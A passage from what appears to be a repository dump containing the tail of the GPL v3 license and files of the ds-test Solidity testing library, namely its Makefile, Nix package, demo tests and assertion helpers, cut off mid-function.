license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n  